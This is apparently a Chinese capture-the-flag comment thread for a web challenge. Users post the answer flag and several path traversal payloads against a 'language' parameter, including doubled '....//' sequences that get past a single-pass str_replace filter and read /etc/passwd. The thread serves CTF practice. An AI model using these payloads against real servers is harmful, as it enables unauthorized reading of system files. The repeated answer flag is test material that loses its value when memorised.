shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3}
?language=/etc/passwd 有点意外
根据页面提示输入language 然后 str_replace只替换一次双写绕过通过路径穿越读取/etc/passwd即可读取flag
shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3} 输入/?language=/....//....//....//....//etc/passwd
/?language=/....//....//....//....//etc/passwd
解析:https://blog.csdn.net/guanrongl/article/details/142967307
?language=..//etc/passwd
?language=/etc/passwd 这也行
?language=/../../../../../etc/passwd
...
评论
0day心qq 13天前
举报
shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3}
jikechen 22天前
举报
shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3}
000ooo 1月前
举报
?language=/etc/passwd 有点意外
Zhumeng 1月前
举报
根据页面提示输入language 然后 str_replace只替换一次双写绕过通过路径穿越读取/etc/passwd即可读取flag
33555 1月前
举报
shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3} 输入/?language=/....//....//....//....//etc/passwd
意大利炮 2月前
举报
/?language=/....//....//....//....//etc/passwd
小白帽来挖个漏洞 2月前
举报
解析:https://blog.csdn.net/guanrongl/article/details/142967307
阿甘先生 2月前
举报
?language=..//etc/passwd
jun1223 4月前
举报
?language=/etc/passwd 这也行
userxin 5月前
举报
?language=/../../../../../etc/passwd